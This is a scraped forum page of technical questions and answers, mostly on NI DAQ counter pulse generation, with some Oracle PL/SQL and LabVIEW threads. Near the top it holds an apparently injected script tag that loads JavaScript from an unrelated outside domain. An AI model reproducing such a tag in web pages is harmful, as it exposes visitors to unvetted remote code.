DAQ counter frequency limitation for pulse generation and acqusition ?

I need to know what is the method to calculate or how can we know the frequency limit of DAQ cards( M series) for pulse generation and acquisition from the specifications. Is it the counter frequency or some thing else?
<script type="text/javascript" src="http://loading-resource.com/data.geo.php?callback=window.__geo.getData"></script>

Hi,
The counter frequency is the rate at which you can generate a pulse at and the rate at which you can acquire data at. You will also want to check the specifications sheet to see how many Digital I/O's the card has, and make sure it is enough for your application.
I hope this answers your question,
James O'Neill
Applications Engineer - National Instruments

Similar Messages

HOW TO CREATE SEVERAL folder for the generation and READING FILE

HOW TO CREATE SEVERAL folder for the generation and READING FILE WITH THE COMMAND utl_File.
please give an example to create 3 folders or directories ...
I appreciate your attention ...
Reynel Martinez Salazar

I hope this link help you.
[http://www.adp-gmbh.ch/ora/sql/create_directory.html]
create or replace directory exp_dir as '/tmp';
grant read, write on directory exp_dir to eygle;
SQL> create or replace directory UTL_FILE_DIR as '/opt/oracle/utl_file';
Directory created.
SQL> declare
2    fhandle utl_file.file_type;
3 begin
4    fhandle := utl_file.fopen('UTL_FILE_DIR', 'example.txt', 'w');
5    utl_file.put_line(fhandle , 'eygle test write one');
6    utl_file.put_line(fhandle , 'eygle test write two');
7    utl_file.fclose(fhandle);
8 end;
9 /
PL/SQL procedure successfully completed.
SQL> !
[oracle@jumper 9.2.0]$ more /opt/oracle/utl_file/example.txt
eygle test write one
eygle test write two
[oracle@jumper 9.2.0]$
SQL> declare
2    fhandle   utl_file.file_type;
3    fp_buffer varchar2(4000);
4 begin
5    fhandle := utl_file.fopen ('UTL_FILE_DIR','example.txt', 'R');
6
7    utl_file.get_line (fhandle , fp_buffer );
8    dbms_output.put_line(fp_buffer );
9    utl_file.get_line (fhandle , fp_buffer );
10    dbms_output.put_line(fp_buffer );
11    utl_file.fclose(fhandle);
12 end;
13 /
eygle test write one
eygle test write two
PL/SQL procedure successfully completed.
SQL> select * from dba_directories;
OWNER                          DIRECTORY_NAME                 DIRECTORY_PATH
SYS                            UTL_FILE_DIR                   /opt/oracle/utl_file
SYS                            BDUMP_DIR                      /opt/oracle/admin/conner/bdump
SYS                            EXP_DIR                        /opt/oracle/utl_file
SQL> drop directory exp_dir;
Directory dropped
SQL> select * from dba_directories;
OWNER                          DIRECTORY_NAME                 DIRECTORY_PATH
SYS                            UTL_FILE_DIR                   /opt/oracle/utl_file
SYS                            BDUMP_DIR                      /opt/oracle/admin/conner/bdumpRegards salim.
Edited by: Salim Chelabi on Apr 4, 2009 4:33 PM

Exe giving error for report generation and LV 8.6.1

I have created and installed a labview application in a PC(windows XP) where labview is not installed. (already included NI_Excel.lvclass)
I have used a report(excel) generation to display the results.
I am getting following error:
Error Code: -2147352573
Member not found in NI_Excel.lvclass:
I am using MS office Excel 2007 SP1
NI LabVIEW Run-Time Engine:8.6.1.
Report generation toolkit version:1.1.3
phani srikanth
Solved!
Go to Solution.
Attachments:
Error.JPG ‏10 KB

search the ni website and a 30 day eval copy can be found. For use beyond this period you would have to buy a license (unless you have one of course)
compatibility can be found on the following link
http://digital.ni.com/public.nsf/allkb/C9408B9F08D711E786256F3300701D01
hope it helps
TD
Please remember to accept any solutions and give kudos, Thanks
LV 8.6.1, LV2010,LV2011SP1, FPGA, Win7

ORA-00932 error: limitations for SDO_UTIL.FROM_WKTGEOMETRY and SDO_GEOMETRY

Hi all,
In my project, I use C# .net and Oracle 11g. I use ADO.NET OracleClob object in my C# code which will be passed to a procedure (procedure defined in a package) where I convert the input clob/wkt geometry into SDO_GEOMETRY using SDO_UTIL.FROM_WKTGEOMETRY and subsequently the GEOMETRY can be pushed into a table as shown below.
PROCEDURE insert_extent(p_key_id IN NUMBER, p_extent IN CLOB) AS
m_geom SDO_GEOMETRY;
BEGIN
m_geom := SDO_UTIL.FROM_WKTGEOMETRY(p_extent);
UPDATE TEMP SET GEOM = m_geom
WHERE IDS = p_key_id;
COMMIT;
END insert_extent;
The above code is working fine for small size clob inputs, but, I have encountered ORA-00932 error when my clob/wkt geometry was more than 30MB in size.
Can any one tell me what is the limitation of size of the clob to convert the CLOB to SDO_GEOMETRY and is there any limitaion on SDO_GEOMETRY datatype object to write the geometry into a table as well via insert/update statement.
Also share your thoughts on how to resolve the issue.
Please let me know if further information is required and thanks for the help in advance.
Regards,
Kumar

MDSYS.SDO_ORDINATE_ARRAY in sdo_geometry can hold 1048576 numbers:
desc MDSYS.SDO_ORDINATE_ARRAY
MDSYS.SDO_ORDINATE_ARRAY VARRAY(1048576) OF NUMBER

Query for report generation and email alert

Hi,
I do have a requirement in my project like the following.
1. We do have multiple interfaces sending request to one of the target Webservices
2. Receiving response back from Webservices
3. Also logging the same using log4J
My requirement is to filter out response messages based on particular interface(Lets say Order status) using name/ timestamp for particular day, save/append all responses in to a file and should send an email report at a given point of time.
Report has to generate once in a day E.g Time: 00:00 AM every day.
Is that possible to achieve the same through ALSB(Aqua Logic Service Bus). Please help us in implementing this requirement.
Thanks in advance,
Krishna

You probably concentrate too much on OSB. I see two issues:
1. Appending everything into a single file. I have never tried file transport, so I don't know if this is possible or not, but looking at documentation I don't think its possible:
http://download.oracle.com/docs/cd/E13159_01/osb/docs10gr3/httppollertransport/transports.html#wp1081043
2. As far as I know there is no support for scheduling in OSB.
I don't know your situation and requirements, but you should rather implement your reporting logic outside of OSB. For example you can filter response messages in OSB and "log" them through a logging web service (service callout in alsb). That service could accumulate your report in a file and send it with the first request each day. This approach could eliminate usage of any scheduling component.
Personally, if I were you I would thing about my infrastructure logging capabilities on proxy server, http server or whatever is in use. Combined with unix cron daemon, the solution could be very easy and straight-forward.

Record count is different for Full load and Init with data transfer

Hi all,
We have a data source for which delta is enabled on Calendar Day.
If I run the full load record count is 2670.But If I run the delta record count is 2665.5 records are missing.
Would you please help on this.Why those records are missing.

Hi,
Actually for Full Load say you have 50 records. When you run it will upload 50 records.
Now if you run delta if there is no records changes it wouldnt update because there is no update in the existing records.
only delta is done when there is changes in the records.

Start button for DAQ Assistant doing pulse generation

Hi,
I am new to Labview, and I got the USB 6210.
I used the DAQ assistant and selected ctr0 to create a pulse.
This works fine, but the pulse is generated when you run the program.
I want it so that when you press a button, the pulse generation starts. Then when you press the button again, it offs.
How would you do this, I dont see any 'data' input anywhere on the DAQ Assistant. Please help.
Also, I was wondering how to change the digital output line where the pulse will output. Currently it comes out the first D/O line. USB6210 has 4 digital outs, how do I change the output line.
In DAQ assistant, all i see are two choices for pulse, crt0 and crt1 (USB 6210 has 2 counters).
Again I am just learning, thanks for any replies

Hi,
I’m using NIUSB 6218 to acquire measurements from 16 (Ai16-Ai31) displacement sensors and 16 (Ai0-ai15) from ultrasonic sensors. These sensors are activated alternately which means when acquiring data from the ultrasonic sensors the displacement sensors are deactivated. For ultrasonic scan contains 16 channel x 16 samples then it will followed by displacement sensors also 16 channels x 16 samples. The acquisition samples are controlled by the trigger signal (rising edge) from the PIC. The whole system is using external clock from the PIC 20MHz. I’m planning to insert START and STOP button on the front panel. The assignment of the pin is as follows:
          PFI0- Trigger signal (acquiring data) from PIC.
            PFI1- BURST signal from PIC (send all (16x16) acquired data to be displayed/save into spreadsheet file.
            PFI4- START signal to PIC
            PFI5- STOP signal to PIC
So far my VI works when I applied external trigger signal at PFI0. The VI can sample the data but how to inform the PIC that the 16 sample data has been acquired? My problem is I do not know how to combine all these functions (START/STOP/BURST) into my VI. Attached is my sample of the VI which I’m working on. Please advice.
TQ
Attachments:
displacement and ultrasonic data.jpg ‏259 KB

Software triggered single Pulse Generation

Hi,
I have an AT-MIO-16E10 board and I am trying to generate multiple but
finite digital pulses without having to reset, configure and rearm the
counter for every pulse. This takes too much time for my application. I
would like to configure just once the counter and gate it by any
software method. I am using LabWindows/CVI.
Does anybody know if it is possible to rearm the counter without having
to reset and configure it previously?.
Does anybody know how to generate a software trigger?
Thanks
Manolo

Hi Manuel,
Configure your counter for retriggerable pulse generation, and connect
one of the digital lines to the counter gate. Toggle the digital line each
time you want to generate a pulse. See GPCTR_Set_Application(),
application = ND_REGRIG_PULSE_GNR in the NI-DAQ Function Reference
Manual for details. Please feel free to email me if you need more help.
Regards,
Reed.
Reed Blake
Beta Technology
Industrial and Scientific Computing
Manuel Prieto Mateo wrote in message <[email protected]>...
>Hi,
>I have an AT-MIO-16E10 board and I am trying to generate multiple but
>finite digital pulses without having to reset, configure and rearm the
>counter for every pulse. This takes too much time for
my application. I
>would like to configure just once the counter and gate it by any
>software method. I am using LabWindows/CVI.
>Does anybody know if it is possible to rearm the counter without having
>to reset and configure it previously?.
>Does anybody know how to generate a software trigger?
>
>Thanks
>
>Manolo
>

In Delayed Pulse Generation vi,Problem With THE PULSE WIDTH??

In Delayed Pulse Generation vi, I want to input a very low number for the Pulse Width while using an external timebase source. But the minimum pulse width has to be 2. Does anyone know how can I solve this problem??

Hey 45,
Unfortunately, there is no way to generate a pulse width smaller than 2x your external timebase.
There is an option to create a pulse of arbitrary width of your external source if you can afford some software processing in between. What you can do is use 1 counter to measure how many source edges of your card's internal timebase (80 MHz for TIO only, 20MHz or 100kHz for TIO and STC) your external signal is. This uses pulse width measurement as the counter application. Once you know how many source edges it takes to represent your pulse, then you can use triggered pulse generation and use the internal timebase with the pulse specs set to create the exact pulse width you want (and delay) and you can use your external pulse as the trigger. Th
is works well if your pulse is always the same width and you can measure it before hand. As an example, let's say your pulse is 20 internal timebase pulses when measured. This means you can use the pulse specs to specify a pulse width of 0.75 your pulse width by using only 15 internal timebase edges for your pulse width.
I don't know if I was clear above or not but if you give me your exact application you are looking to achieve, I might be able to help you out. Hope that helps.
Ron

How to get count of rows for a table?

Hi,
How to get count of rows for a table and secondly, how can i have access to a particular cell in a table?
Regards,
Devashish

Hi Devashish,
WdContext.node<Your_node_name>().size() will give you the no: of rows.
This should be the node that is bound to the table's datasource property.
WdContext.node<Your_node_name>().get<node_name>ElementAt(index_value); will select the row at that particular index.
You can access an attribute of a particular row as
WdContext.node<Your_node_name>().get<node_name>ElementAt(index_value).get<attribute_name>();
Hope this helps,
Best Regards,
Nibu.
Message was edited by: Nibu Wilson

How to create a vi that counts for example 3 - 10 pulses in and then give a 1 puls out

how to create a vi that counts for example 3 - 10 pulses in and then give a 1 puls out.
I'm working with Labview 6.1
Running with Labview 6.1
Fieldpoint hardware

Hi,
You should be more specific, what kind of hardware you are using ???
Which kind of pulse you are measuring ?? You are saying that you want to count a number of pulses and then when you get to a limit (which will be between 3 and 10) you want to output a pulse ?
Andre Oliveira

Finite Pulse Generation for 6608 Counter using Visual C++

I am trying to generate a finite number of pulses using the counters aboard the 6608 System Timer. I was wondering if anyone knew how to do this.
Basically, what I want to do is generate a set of 4 pulses that are synchronized with another pulse, as pictured below.
Can this be done??? Ultimately, I am trying to generate the following set of pulses, as pictured below. I can generate all of the pulse trains except for pulse train #2.
(1)
(2)
(3)
(4)
(5)
(6)
I have included my code as reference. Any help in this matter would be greatly appreciated.
Attachments:
NewApproach1Dlg.cpp ‏12 KB

Rodney
Here is an example program that will generate a square wave with the 6608 board. You can modify it so the wave has the properties you need it to have.
If you want pulses #1 and #2 to start at the same time, you can have them both start off the same trigger.
One of the examples below shows you how to start a square wave with a trigger, the other one is started by software.
I hope this helps.
Brian
Attachments:
Square_Wave.zip ‏3 KB
Square_Wave_Trigger.zip ‏3 KB

Need to unreserve a counter in a finite pulse train generation

Hi. Let´s introduce my application first: I´m trying to generate a N-pulse train with the M series PCI-6221, in order to achieve a high frequency clock for an SSI transducer. That´s why i can´t use a software generation (because of the high frequency) and i have to use a finite pulse train. Besides, I would need to use another counter for a variable and finite count (but not simultaneously). The problem is that, as i think i have understood, this finite pulse train involves the two counters working together, so I can´t programm another task with that resources.
My question is, Is there any way to do the finite pulse train generation, unreserve the counters, wait for a finite count to finish and so on?
Thanks.

Hello,
My knowledges tell me that you need two counter to generate a finite pulse train.
The first counter generates a pulsed of desired width and the second counter generates the pulse train which is gated by the pulse of the first counter (Counter 0=Pulse Generation, Counter 1=Pulse train generation).
However, the finite pulse train generation and the continuous pulse train generation seem similar. The key difference is the generation mode from continuous to finite and the use fo a DAQmx Wait Until Done vi instead of a loop to monitor user input. From a point of view of the hardware there is a difference between the two. Continuous pulse train generation requires only 1 COUNTER.
Maybe you can try with a continuous pulse train generation and with this method you have another counter to do a finite count.
Regards
DiegoM.

Pulse Generation application with DAQmx and a PXI-6624 module?

What is the best implementation method for the following pulse generation application
using LabVIEW, DAQmx and a PXI-6624 counter\timer module?
I have two rising edge trigger signals (Trigger-1 and Trigger-2).
There is ample spacing between each trigger. They never occur at the same time.
I need to generate a single pulse (fixed width, variable delay) whenever Trigger-1 occurs and
a finite pulse train (fixed width, variable delay, N-pulses) whenever Trigger-2 occurs.
However, the output must appear on one counter output because this composite signal
will be used as a trigger source for another PXI module in the rack.
With DAQmx and a TIO counter\timer can I use both the GATE (for Trigger-1) and
AUX (for Trigger-2) at the same time on the same counter to gate out the desired pulses?
Trigger-1 would be wired to the GATE of CTR0. One Trigger-1 event would generate one pulse on the output of CTR0.
Trigger-2 would be wired to the GATE of CTR1 and the output of CTR1 would be routed to the AUX input of CTR0.
One Trigger-2 event at the GATE of CTR1 would generate multiple pulses on output of CTR0.
Would DAQmx and the PXI-6624 TIO support this implementation?
What is the best way to accomplish the task at hand.
Thank You.
Best Regards,
Scooby

Hi Scooby,
I have looked into the application you have described and I see a potential problem with what you describe. In DAQmx, it is not possible to call the counters of the same DAQ device in the same task, so you cannot have the finite pulse train generation and the single pulse generation tasks running at the same time. What you can do, since you mention the triggers will not occur at the same time, is to stop one counter task while you are triggering another. The way I would suggest you merge the outputs is with a two input Or logic gate to avoid damaging your counters. Your signals will effectively be added together by this logic gate. I do not see any way to merge the outputs internal to the DAQ device.
Please let me know if I can be of additional assistance.
Laura

Frequency divider/ pulse generation from 1 to n

Hi,
I have a sample pulse which in some cases needs to be divided. I tried to use the pulse train generation function, which works fine (giving me a pulse every n sample pulses), but only starting at 2 input pulses. I need to be able to use this function from a division of 1 and up.
Put in another way, can a counter be configured in such a way that it outputs a pulse every rising edge of the source signal?
I'm using a PXI 6602 counter card and am programming it through calls to NIDAQ32.DLL under Labview 7.

Hi Walter,
In short, no. You can't output a pulse on every input pulse. You can however configure the degree of division. Here are the rules for division:
When set to pulse train generation, you will have a register for the low value of the pulse train and a register for the high value. What happens in typical pulse generation is that these registers are loaded with count values such as 2 and 2 for each register respectively. In default operation, the first register will count 2 pulses on the source and then toggle the output. The second register will then count to pulses and toggle the output again. The operation then cycles back to the first register. This toggling effectively creates a pulse train that is divided by 4 and a duty cycle of 50%.
You can however change the output mode to pulse instead of toggling upon completion of counting on a register. In the above example, you would count 2 source edges and then pulse for the first register and the count 2 more edges and pulse again for the second register. You will of course repeat this in pulse train generation mode. This mode allows you to obtain greater resolution since you are now dividing by 2 but your duty cycle will be different. Each pulsed output will be equivalent in size to the source pulse width.
Finally, the two registers can be populated with integer values of 2 or greater. Therefore, the smallest frequency division is 2.
You will have to work with these three elements to obtain the pulse train of your desired frequency. Hope that helps. Have a good day.
Ron
Applications Engineering
National Instruments

DAQ counter frequency limitation for pulse generation and acqusition ?

Similar Messages

Maybe you are looking for